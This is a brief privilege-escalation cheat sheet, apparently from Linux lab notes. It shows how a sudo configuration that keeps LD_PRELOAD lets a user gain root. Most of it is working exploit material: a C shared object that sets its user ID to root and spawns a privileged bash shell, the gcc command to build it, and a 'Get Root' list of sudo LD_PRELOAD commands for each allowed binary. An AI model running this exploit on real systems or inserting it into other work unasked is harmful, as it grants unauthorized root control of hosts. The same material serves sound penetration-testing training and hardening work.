SUDO - preload
Sudo can be configured to inherit certain environment variables from the user's environment. Check which environment variables are inherited (look for the env_keep options):
sudo -l
--> Matching Defaults entries for user on this host:
--> env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
-->
--> User user may run the following commands on this host:
--> (root) NOPASSWD: /usr/sbin/iftop
--> (root) NOPASSWD: /usr/bin/find
--> (root) NOPASSWD: /usr/bin/nano
--> (root) NOPASSWD: /usr/bin/vim
--> (root) NOPASSWD: /usr/bin/man
--> (root) NOPASSWD: /usr/bin/awk
--> (root) NOPASSWD: /usr/bin/less
--> (root) NOPASSWD: /usr/bin/ftp
--> (root) NOPASSWD: /usr/bin/nmap
--> (root) NOPASSWD: /usr/sbin/apache2
--> (root) NOPASSWD: /bin/more
- LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.
- LD_PRELOAD loads a shared object before any others when a program is run.
- LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/preload.c
Get Root
sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/iftop
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/nano
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/vim
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/awk
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/less
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/ftp
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/nmap
sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
sudo LD_PRELOAD=/tmp/preload.so /bin/more